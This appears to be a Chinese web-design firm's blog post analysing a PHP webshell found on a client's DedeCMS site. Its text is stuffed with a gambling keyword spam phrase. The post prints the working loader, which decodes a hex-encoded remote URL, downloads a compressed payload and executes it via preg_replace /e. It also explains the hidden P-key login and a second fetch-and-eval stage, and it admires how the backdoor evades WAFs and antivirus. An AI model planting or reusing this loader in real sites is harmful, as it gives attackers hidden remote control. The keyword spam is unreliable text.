服务项目

亚太AG开户做网站

亚太AG开户SEO

亚太AG开户做网站

联系我们
公司地址: 湖南省亚太AG开户市岳麓区岳麓大道569号湖南商学院
客服QQ: 亚太AG开户做网站点击这里给我发消息 632410711
客服QQ: 亚太AG开户做网站点击这里给我发消息 2609541980
电话: 0731-88257003
手机: 18974860750
联系人: 刘小姐
亚太AG开户做网站二维码
亚太AG开户做网站热门图片
  • 企业怎么找高质量的亚太AG开户网站建设公司
  • 如何做一个排名好的外贸网站
  • 响应式制作建设网页中的图片设计
  • 网站排名优化增加网站外链的方法
您现在所在位置:亚太AG开户做网站 > 亚太AG开户做网站公司 > > 亚太AG开户做网站公司

亚太AG开户做网站分析一个PHP后门

来源:未知 作者:亚太AG开户做网站管理员 发表时间:2014-04-11 06:57 查看:
亚太AG开户做网站_小草 最近有个客户说网站总是被攻击,问是什么原因,我们技术人员看了一下,是dedecms做的网站,连补丁也没有打,这肯定很容易被入侵了,然后通过后台扫描,扫出几个一句话,删掉了。
然后再帮这个客户打了补丁,奇怪的是,第二天又被黑链了,然后就有了下面的分析,希望对站长还有喜欢亚太AG厅安全的有帮助。

Webshell代码如下:

<?php
error_reporting
(0); session_start(); header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649); @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null); ?>

关键看下面这句代码,

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

<?php
echo gzuncompress
(substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649)); ?>

如图所示:

 

分析这段代码,发现这是一个伪装的404木马(这里实在是太猥琐了…),其实整个webshell就一个class外加三个function,如图

首先我先看一下它的前端html代码,其中有这么一段js程序

document.onkeydown = function(e) { vartheEvent = window.event || e;       var code = theEvent.keyCode || theEvent.which;  if (80 == code) { $("login").style.display = "block" } }

这里它用document.onkeydown获取用户敲击键盘事件,当code等于80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键

所以触发webshell登陆需要按p键(不按P键页面就是一个空白页,看不到登陆框),如图所示:

再回到服务端php代码中,可以看到程序用的是对称加密,并且将登陆密码作为加密key,代码如图所示:

再看init()的逻辑

如图所示,先看这句代码

$true = 
@gzuncompress(gzuncompress(Crypt::decrypt(pack('H*',  '789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59'), $_POST['key'], true)));

根据这个解密逻辑我们可以推出,这里其实是将字符串true做了以下加密处理,

unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')),$_POST['key'] , true))

所以当输入正确密码的时候@gzuncompress返回字符串true,然后程序调用setcookie给客户端返回$_COOKIE[‘key’],然后值得提一下的是后面这个exit('{"status":"on"}'),这里它与前端代码联系很紧密,我们看前端有个callback函数,如下

function callback() { varjson = eval("(" + this.responseText + ")"); if (json.status=='on'){ window.location.reload(); return;     } if (json.notice) { $("notice").style.display = "block"; $("notice").innerHTML = json.notice; sideOut(); } }

这里执行exit('{"status":"on"}')会返回json串{"status":"on"},此时前端js代码classback()获取到此响应会执行window.location.reload()刷新,再次请求正好带上前面获取的cookie,然后执行判断COOKIE的逻辑,如图所示

这里跟前面POST的逻辑一样,下面当判断为’true’以后,这里又请求了一张图片,pack出来地址为http://2012heike.googlecode.com/svn/trunk/code.jpg,然后调用_REQUEST获取图片内容,解密解压之后再eval,分析之后发现code.jpg中才是真正的webshell经过加密压缩之后的内容。这里我跟踪了一下代码打印出了真正执行的webshell的内容,

登陆成功之后如图所示:

总结:

这是一个高度隐蔽的webshell,它没有在其代码中用到一些危险函数和敏感字,而是将真正的shell内容经过层层加密处理之后保存到图片当中,丢到服务器上只留下一个url,并且url还是经过加密处理的,所以对外看没有任何特征可寻,过掉了大多数waf以及杀软的查杀。。作者的利用思路新颖,并且前端后端结合紧密,代码精简,各种奇技淫巧,有别于常见的webshell后门,令人佩服!

上一篇:网站内页怎么来布局
下一篇:亚太AG开户做网站带你进入对诈骗黑产团伙的调查



tag标签:

亚太AG开户做网站分析一个PHP后门相关文章


亚太AG开户做网站售后服务流程
湖南唯一售后问题24小时处理,一对一技术服务,解决亚太AG厅公司售后通病。
  • 在线修改提交
  • 邮件提交
  • 传真提交
    (0731-88257003)
  • 电话咨询
    (18974860750)
  • 投诉建议
  • 处理完成
  • 电话验收
地区做网站: 湖南做网站 亚太AG开户做网站 株洲做网站 湘潭做网站 益阳做网站 常德做网站 衡阳做网站 岳阳做网站 郴州做网站 邵阳做网站 更多>>